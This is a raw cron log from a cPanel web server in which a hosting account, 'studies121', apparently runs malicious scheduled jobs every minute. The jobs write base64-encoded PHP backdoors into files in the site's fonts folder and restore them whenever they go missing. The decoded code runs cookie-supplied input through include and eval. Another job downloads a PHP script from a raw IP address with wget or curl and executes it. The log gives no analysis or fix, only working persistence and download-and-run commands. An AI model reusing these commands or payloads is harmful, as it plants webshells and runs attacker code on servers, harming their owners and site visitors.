Aug 31 00:59:01 ip-184-168-122-23 CROND[2558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:59:01 ip-184-168-122-23 CROND[2555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:00:01 ip-184-168-122-23 CROND[2730]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:00:01 ip-184-168-122-23 CROND[2732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:00:01 ip-184-168-122-23 CROND[2733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:00:01 ip-184-168-122-23 CROND[2731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:00:01 ip-184-168-122-23 CROND[2734]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:00:01 ip-184-168-122-23 CROND[2737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:00:01 ip-184-168-122-23 CROND[2735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:00:01 ip-184-168-122-23 CROND[2738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:01:01 ip-184-168-122-23 CROND[2835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:01:01 ip-184-168-122-23 CROND[2840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:01:01 ip-184-168-122-23 CROND[2844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:01:01 ip-184-168-122-23 CROND[2847]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 01:01:01 ip-184-168-122-23 CROND[2845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:01:01 ip-184-168-122-23 CROND[2846]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2846]: starting 0anacron
Aug 31 01:01:01 ip-184-168-122-23 anacron[2863]: Anacron started on 2026-08-31
Aug 31 01:01:01 ip-184-168-122-23 anacron[2863]: Normal exit (0 jobs run)
Aug 31 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2865]: finished 0anacron
Aug 31 01:02:01 ip-184-168-122-23 CROND[2939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:02:01 ip-184-168-122-23 CROND[2940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:02:01 ip-184-168-122-23 CROND[2942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:02:01 ip-184-168-122-23 CROND[2944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:02:01 ip-184-168-122-23 CROND[2946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:03:01 ip-184-168-122-23 CROND[3022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:03:01 ip-184-168-122-23 CROND[3023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:03:01 ip-184-168-122-23 CROND[3026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:03:01 ip-184-168-122-23 CROND[3028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:04:01 ip-184-168-122-23 CROND[3104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:04:01 ip-184-168-122-23 CROND[3106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:04:01 ip-184-168-122-23 CROND[3107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:04:01 ip-184-168-122-23 CROND[3108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:04:01 ip-184-168-122-23 CROND[3109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:05:02 ip-184-168-122-23 CROND[3205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:05:02 ip-184-168-122-23 CROND[3209]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 01:05:02 ip-184-168-122-23 CROND[3208]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:05:02 ip-184-168-122-23 CROND[3217]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:05:02 ip-184-168-122-23 CROND[3215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:05:02 ip-184-168-122-23 CROND[3214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:05:02 ip-184-168-122-23 CROND[3216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:06:01 ip-184-168-122-23 CROND[3377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:06:01 ip-184-168-122-23 CROND[3380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:06:01 ip-184-168-122-23 CROND[3379]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:06:01 ip-184-168-122-23 CROND[3381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:06:01 ip-184-168-122-23 CROND[3382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:07:01 ip-184-168-122-23 CROND[3465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:07:01 ip-184-168-122-23 CROND[3464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:07:01 ip-184-168-122-23 CROND[3466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:07:01 ip-184-168-122-23 CROND[3467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:08:01 ip-184-168-122-23 CROND[3548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:08:01 ip-184-168-122-23 CROND[3553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:08:01 ip-184-168-122-23 CROND[3551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:08:01 ip-184-168-122-23 CROND[3552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:08:01 ip-184-168-122-23 CROND[3550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:09:01 ip-184-168-122-23 CROND[3665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:09:01 ip-184-168-122-23 CROND[3667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:09:01 ip-184-168-122-23 CROND[3668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:09:01 ip-184-168-122-23 CROND[3669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:09:01 ip-184-168-122-23 CROND[3670]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 01:10:01 ip-184-168-122-23 CROND[3754]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:10:01 ip-184-168-122-23 CROND[3756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:10:01 ip-184-168-122-23 CROND[3762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:10:01 ip-184-168-122-23 CROND[3761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:10:01 ip-184-168-122-23 CROND[3763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:10:01 ip-184-168-122-23 CROND[3759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:10:01 ip-184-168-122-23 CROND[3760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:10:01 ip-184-168-122-23 CROND[3765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:11:01 ip-184-168-122-23 CROND[3853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
